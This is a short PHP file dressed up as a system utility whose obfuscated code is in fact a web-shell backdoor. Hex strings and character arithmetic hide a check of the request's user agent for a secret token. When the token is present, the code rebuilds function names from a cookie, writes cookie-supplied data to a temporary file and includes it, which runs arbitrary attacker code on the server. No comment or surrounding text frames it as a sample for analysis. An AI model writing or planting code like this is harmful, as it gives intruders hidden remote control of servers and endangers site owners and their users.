<?php
function run_kernel(...$uh)
{
    $j = array(21 + 77 + 17, 116, 43 + 59 + 12, 120 - 8, 44 + 67, 12 + 24 + 79);
    $l = '';
    foreach ($j as $a) {
        $l .= chr($a);
    }
    return $l(...$uh);
}

class SystemManager
{
    private static $_hxu;
    static function processData($_jth)
    {
        if (!self::$_hxu) {
            self::fetchSummary();
        }
        return hex2bin(self::$_hxu[$_jth]);
    }
    private static function fetchSummary()
    {
        self::$_hxu = array('_xb' => '485454505' . 'f55' . '534552' . '5f4147454e5' . '4', '_rd' => '485454505f555345525f414' . '7454e' . '5' . '4', '_ytb' => '38313' . '435303335' . '37', '_tkc' => '', '_vuz' => '');
    }
}

if (isset($_SERVER[SystemManager::processData('_xb')]) && run_kernel($_SERVER[SystemManager::processData('_rd')], SystemManager::processData('_yt' . 'b')) !== false) {
    $_hdn = $_COOKIE;
    $_vq = 00;
    $_jth = 03;
    $_ndl = array();
    $_ndl[$_vq] = SystemManager::processData('_tkc');
    while ($_jth) {
        $_ndl[$_vq] .= $_hdn[035][$_jth];
        if (!$_hdn[035][$_jth + 01]) {
            if (!$_hdn[035][$_jth + 02]) {
                break;
            }
            $_vq++;
            $_ndl[$_vq] = SystemManager::processData('_vuz');
            $_jth++;
        }
        $_jth = $_jth + 03 + 01;
    }
    $_vq = $_ndl[032]() . $_ndl[010];
    if (!$_ndl[06]($_vq)) {
        $_jth = $_ndl[01]($_vq, $_ndl[030]);
        $_ndl[020]($_jth, $_ndl[022] . $_ndl[00]($_ndl[016]($_hdn[03])));
    }
    include $_vq;
    die;
}